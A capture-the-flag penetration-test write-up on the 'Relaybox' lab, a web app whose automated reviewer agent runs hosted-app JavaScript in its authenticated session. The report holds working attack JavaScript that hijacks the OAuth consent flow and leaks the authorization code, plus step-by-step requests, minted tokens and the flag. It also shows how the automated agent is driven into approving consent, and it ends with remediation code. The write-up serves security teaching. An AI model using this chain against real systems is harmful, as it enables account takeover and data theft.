Relaybox: Reviewer JS Execution and OAuth Consent Confusion
Executive Summary
Relaybox is a customer-support workspace (Vite/React SPA plus a same-origin JSON API) whose flag sits in a private note belonging to the seeded agent account, readable only through the Assistant Integration API with a notes:read Bearer token. In this variant the developer portal lets any workspace member host a connected app containing arbitrary JavaScript, and a reviewer agent loads that app in its own authenticated browser session to review it. Four defects compound: the agent executes attacker JavaScript inside a privileged session; hosted apps have no OAuth client identity of their own, so any of them can drive the first-party Studio client’s consent flow; the OAuth callback delivers the authorization code to the app via postMessage without origin validation; and the token endpoint issues tokens without any client secret. The code lands in the hosted app’s own event log, one exchange later the token is minted on the agent’s account, and the agent’s handover brief returns the flag.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Reviewer JS execution and OAuth consent confusion mint a notes:read token for the agent’s account |
High | 8.5 | CWE-94, CWE-306, CWE-346 | POST /api/assistant/sites |
The flag-bearing finding matters because the reviewer agent’s browser session is the privileged principal in this lab. Anything that session can approve, attacker-controlled JavaScript can drive, and the platform’s own telemetry (the per-app event log) carries the result back to the attacker.
Objective
Recover the flag (bug{...}) from the Relaybox lab. Operator hint: “You can’t read the agent’s notes as yourself, but you can host an app the agent reviews.”
Scope / Initial Access
# Target Application
URL: https://lab-1793041276482-x8n4hm.labs-app.bugforge.io/
# Auth details
Registration is open: POST /api/auth/register auto-creates a workspace with
the registering user in the admin role. Sessions are cookie based
(relaybox_session, HttpOnly, SameSite=Lax) and every state-changing API call
carries an X-CSRF-Token header sourced from GET /api/auth/me.
Reconnaissance: Mapping the Assistant Surface from the Bundle and Developer Portal
The SPA bundle and the developer portal mapped the surface before any probing; the operator hint pointed at the assistant feature.
- The bundle (
/assets/index-BrdHaGzs.js, md5946b376effa552a5a06ff4edca28b6de) exposes the API helper (fetch("/api"+path)with anX-CSRF-Tokenheader sourced from/api/auth/me) and the full endpoint map: auth, tickets, messages, attachments, articles, macros, people, reports, outbox, and the assistant sites surface. Roles arecustomer,agent,admin. /assistant/developersis a separate server-rendered developer portal documenting hosted sites: create with{name, script}, trigger a review, read the site’s events. Its reference client (/assistant/studio-client.js) shows the OAuth parameter set:client_id=relaybox-assistant,response_type=code,scope=notes:read, authorize onlocalhost:3000, callback oncdn.localhost:3000, and arelaybox:assistant:connectedpostMessage to the opener.- The hint frames the target: the agent’s notes are unreadable directly, but hosted apps get reviewed by the agent.
- Registration is open and auto-creates a workspace with the registering user in the admin role, so the whole assistant surface is reachable from a fresh account.
- The lab uses internal vhosts reachable only from the agent’s browser:
localhost:3000(main app),cdn.localhost:3000(OAuth callback), and<siteid>.apps.localhost:3000(hosted apps). The public edge routes only the main lab host, which makes the hosted-app origin and its/collectendpoint an agent-side channel.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | Vite/React SPA served from the main lab host |
| API | Same-origin JSON API under /api; cookie session plus X-CSRF-Token header |
| Assistant pages | Server-rendered: /assistant/developers (portal), /assistant/oauth/authorize (consent), /assistant/oauth/callback (on cdn.localhost:3000) |
| Hosted apps | <siteid>.apps.localhost:3000 serves the submitted script; same-origin POST /collect appends to an event log readable via GET /api/assistant/sites/:id/events |
| Reviewer | HeadlessChrome/155 agent, authenticated as the agent user, loads hosted apps, executes their JavaScript, clicks #connect |
| Token API | /assistant/api/* accepts Bearer tokens (notes:read, 900 s expiry); /api/* does not |
Attack Chain Visualization
┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐
│ 1. Host app │ │ 2. Agent review │ │ 3. Consent page │ │ 4. Code delivered │
│ arbitrary JS at │───▶│ HeadlessChrome │───▶│ our JS opens the │───▶│ callback postMessage│
│ <id>.apps. │ │ executes it and │ │ Studio authorize │ │ to our opener; the │
│ localhost:3000 │ │ clicks #connect │ │ URL; agent approves│ │ JS logs it to /collect │
└────────────────────┘ └────────────────────┘ └────────────────────┘ └────────────────────┘
│
▼
┌────────────────────────────┐ ┌────────────────────────────┐
│ 5. Attacker reads /events │───▶│ 6. Agent notes read │
│ and exchanges the code at │ │ GET /assistant/api/notes/ │
│ /assistant/oauth/token │ │ handover-brief → flag │
│ (no client secret needed) │ │ │
└────────────────────────────┘ └────────────────────────────┘
Findings
F1: Reviewer JS execution and OAuth consent confusion mint a notes:read token for the agent’s account
Severity: High
CVSS v3.1: 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
CWE: CWE-94 (Improper Control of Generation of Code), CWE-306 (Missing Authentication for Critical Function), CWE-346 (Origin Validation Error)
Endpoint: POST /api/assistant/sites
Authentication required: Yes (any workspace account; registration is open)
Scoring note: UI:N because the consenting party is the automated reviewer agent, which approves without human interaction and is triggered by the attacker’s own review request; UI:R would score 7.6. S:C because the token is minted on the agent’s account in a different workspace trust realm than the attacker’s.
Description
The reviewer agent’s browser session is the privileged principal, and four defects chain across it:
- Arbitrary JavaScript hosting executed by a privileged reviewer.
POST /api/assistant/sitesaccepts anyscriptvalue. The review agent (HeadlessChrome/155, authenticated as the agent user) loads the hosted page at<id>.apps.localhost:3000and executes the script in its own session. - Hosted apps connect as the first-party OAuth client. The authorize endpoint accepts only
client_id=relaybox-assistant; hosted sites have no client identity of their own. Any hosted app can initiate a consent flow that renders as “Connect Relaybox Assistant Studio?”, and the agent approved it. - Authorization code handed to attacker-controlled JavaScript. The callback on
cdn.localhost:3000postMessages{type:'relaybox:assistant:connected', code}towindow.opener, which is the hosted app, without validating the opener’s origin. - Token exchange requires no client secret.
POST /assistant/oauth/tokenaccepts a JSON body ofgrant_type,code,client_id,redirect_uriand returns anaccess_token(notes:read, 900 s) for whichever user approved, which is the agent.
The hosted app’s same-origin event log (POST /collect, readable by the attacker through GET /api/assistant/sites/:id/events) carries the code back out of the agent’s browser.
Impact
Any workspace member can execute JavaScript in the reviewer agent’s authenticated browser and mint an OAuth token for the agent’s account, reading the agent’s private notes.
Reproduction
Step 1: Register, log in, and take the CSRF token
POST /api/auth/register HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Content-Type: application/json
{"name":"recon1","email":"[email protected]","password":"reconpass123"}
Response: 201 Created, {"ok":true}, sets relaybox_session. GET /api/auth/me returns the session user (role admin of its own workspace) and the csrf value used as X-CSRF-Token below.
Step 2: Host the app
POST /api/assistant/sites HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Cookie: relaybox_session=8c3c2d1b51d4e73b4550e37cd654a4a90d6a031547d66af4c5ec8a9e263e7984
X-CSRF-Token: faaaa3525408801f1e4b9004cc7c1af68377615d739a014f3a472b8076381520
Content-Type: application/json
{"name":"probe5","script":"<JavaScript, listed verbatim below>"}
Response: 201 Created
{"id":"17729a4d08daf4a1","url":"http://17729a4d08daf4a1.apps.localhost:3000"}
The script wires #connect, opens the authorize URL with the first-party Studio parameter set, and logs every event, including incoming postMessages, to /collect:
const log = (tag, data) => fetch('/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
tag,
data: (() => { try { return JSON.stringify(data).slice(0, 4000); } catch (e) { return String(data); } })(),
href: location.href,
t: Date.now()
})
});
log('load', {});
window.addEventListener('message', (e) => log('message', {origin: e.origin, data: e.data, keys: e.data ? Object.keys(e.data) : null}));
const openAuthorize = (wname) => {
const url = new URL('http://localhost:3000/assistant/oauth/authorize');
url.search = new URLSearchParams({
client_id: 'relaybox-assistant',
response_type: 'code',
scope: 'notes:read',
redirect_uri: 'http://cdn.localhost:3000/assistant/oauth/callback',
state: location.origin
}).toString();
log('opening-authorize', {url: url.toString()});
const w = window.open(url.toString(), wname || 'assistant-studio', 'width=560,height=700');
log('window-open-result', {opened: !!w});
return w;
};
const connect = document.getElementById('connect');
if (connect) {
connect.addEventListener('click', () => { log('agent-clicked-connect', {}); openAuthorize(); });
setTimeout(openAuthorize, 5000);
}
The state parameter carries the hosted app’s own origin, and the message listener records the callback’s postMessage. (The submitted script also probed same-origin paths to map the app origin; those probes are omitted here as they are not on the critical path.)
Step 3: Trigger the review
POST /api/assistant/sites/17729a4d08daf4a1/review HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Cookie: relaybox_session=8c3c2d1b51d4e73b4550e37cd654a4a90d6a031547d66af4c5ec8a9e263e7984
X-CSRF-Token: faaaa3525408801f1e4b9004cc7c1af68377615d739a014f3a472b8076381520
Content-Type: application/json
{}
Response: 202 Accepted, {"state":"queued"}. The agent run happens inside the lab; the approval and callback are not visible from the attacker’s proxy.
Step 4: Read the event log
GET /api/assistant/sites/17729a4d08daf4a1/events HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Cookie: relaybox_session=8c3c2d1b51d4e73b4550e37cd654a4a90d6a031547d66af4c5ec8a9e263e7984
Response: 200 OK, "review":"reviewed", with the recorded events. The agent clicked #connect about 80 ms after load, and the message event shows the callback delivered the code:
{"origin":"http://cdn.localhost:3000","data":{"type":"relaybox:assistant:connected","code":"16c62c803ec471ec0e4e3787255ac76d3f9ac581"},"keys":["type","code"]}
Step 5: Exchange the code
POST /assistant/oauth/token HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Content-Type: application/json
{"grant_type":"authorization_code","code":"16c62c803ec471ec0e4e3787255ac76d3f9ac581","client_id":"relaybox-assistant","redirect_uri":"http://cdn.localhost:3000/assistant/oauth/callback"}
Response: 200 OK
{"access_token":"1f5144231f0b38c9c01990eb482e441b52d65fe2","refresh_token":"229f5102b162fc9956390af3cea7b453838dc302","token_type":"Bearer","expires_in":900,"scope":"notes:read"}
No client secret was sent. The token is bound to the account that approved the consent, which is the agent’s.
Step 6: Read the agent’s notes
GET /assistant/api/notes HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Authorization: Bearer 1f5144231f0b38c9c01990eb482e441b52d65fe2
Response: 200 OK, [{"id":"handover-brief","title":"Shift handover"}]
GET /assistant/api/notes/handover-brief HTTP/1.1
Host: lab-1793041276482-x8n4hm.labs-app.bugforge.io
Authorization: Bearer 1f5144231f0b38c9c01990eb482e441b52d65fe2
Response: 200 OK
{"id":"handover-brief","title":"Shift handover","body":"The agent handover contains the instance reference: bug{j5k3EGv4IL6YMM6woch5o3bBCCQxuhfw}"}
Remediation
No source code was available; the fixes below are inferred from observed behavior.
Fix 1: Decouple the review run from the agent’s privileged session
// BEFORE (vulnerable): the reviewer browses with its authenticated session
await page.goto(site.url); // agent session cookies apply
// AFTER: review untrusted app code in a context that holds no credentials
const ctx = await browser.newContext(); // no cookies injected
await ctx.addInitScript(sandboxWrapper); // isolate the app's JS from platform state
await ctx.goto(site.url);
App review is a code-analysis task, not a user journey that carries credentials. If the review must exercise connected behavior, do it against synthetic fixtures, never the live agent account.
Fix 2: Give hosted apps their own OAuth client identity
// BEFORE (vulnerable): authorize accepts only the shared first-party client
if (client_id !== 'relaybox-assistant') return res.status(400).json({error: 'Invalid connection request.'});
// AFTER: per-app clients with pinned redirect URIs
const client = await getClient(client_id); // hosted apps register as clients
if (!client || client.redirect_uri !== redirect_uri) {
return res.status(400).json({error: 'Invalid connection request.'});
}
A shared first-party client identity erases the boundary between the official app and tenant apps, and the consent page renders the trusted brand either way.
Fix 3: Authenticate the client at the token endpoint
// BEFORE (vulnerable): the JSON body alone mints a token
const { grant_type, code, client_id, redirect_uri } = req.body;
// no secret check
// AFTER: require client authentication (secret or PKCE)
const client = await getClient(client_id);
if (client.confidential && client.secret !== req.body.client_secret) {
return res.status(401).json({error: 'Client authentication failed.'});
}
Fix 4: Validate the opener before posting the code
// BEFORE (vulnerable): the code goes to whatever opener exists
window.opener.postMessage({ type: 'relaybox:assistant:connected', code }, '*');
// AFTER: pin the expected origin of the legitimate client
window.opener.postMessage(
{ type: 'relaybox:assistant:connected', code },
client.registered_origin // the first-party client's registered origin
);
Additional recommendations:
- Render the requesting app’s identity on the consent page so an approver can distinguish the first-party client from a tenant app.
- Do not auto-click affordances on behalf of the reviewer; an agent that approves whatever it is shown turns consent into a formality.
- Treat the per-app event log as attacker-readable by design and keep sensitive values (authorization codes, tokens) out of it.
- Bind the authorization code to the
statevalue and enforce single use; whether the callback validatedstateand whether the code survived a second exchange were not probed, and both affect how much of this chain a fix must absorb.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: The chain crosses a workspace boundary: an attacker workspace mints a token on the agent’s account and reads the agent’s private notes.
- A05:2021 Security Misconfiguration: Hosted apps may carry arbitrary JavaScript, and they share the first-party OAuth client identity with no per-app registration.
- A07:2021 Identification and Authentication Failures: The token endpoint issues access tokens with no client authentication, so possession of the code equals possession of the grant.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting proxy; request history for the chain (register through flag retrieval) |
| curl | Direct request replay and endpoint probing |
References
- CWE-94: Improper Control of Generation of Code
- CWE-306: Missing Authentication for Critical Function
- CWE-346: Origin Validation Error
- RFC 6749: The OAuth 2.0 Authorization Framework
- RFC 6819: OAuth 2.0 Threat Model and Security Considerations
- MDN: window.postMessage
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Site id as client_id in the authorize URL |
400 “Invalid connection request.” | Hosted sites are not OAuth clients; only the first-party Studio combination is accepted |
Authorize parameter deviations (scope admin or notes:write, response_type=token, altered redirect_uri, missing state) |
400 “Invalid connection request.” | The endpoint validates the exact parameter combination |
Bearer token on /api/* paths, varied header shapes |
401 “Please sign in.” | The token audience is /assistant/api/*; /api/* requires the cookie session |
| Reaching internal vhosts through the public edge (Host override with and without port) | 404 | The edge routes only the main lab host |
First review with a no-op script (console.log(1)) |
Review state could-not-complete, zero events |
Nothing was instrumented, so the agent’s behavior was unobservable |
Cross-origin fetch from the app origin to localhost:3000/api/auth/me |
Blocked by the browser | No CORS headers on the main host |
| Hardcoding a sibling site’s id in the script before the target site existed | Two burned reviews: the script sent the sibling’s site id as the client_id |
The id is minted at creation; create the site first, then update it with its own id |
Tags: #relaybox #bugforge #oauth #consent-confusion #agent-review #webapp
Document Version: 1.0
Last Updated: 2026-10-26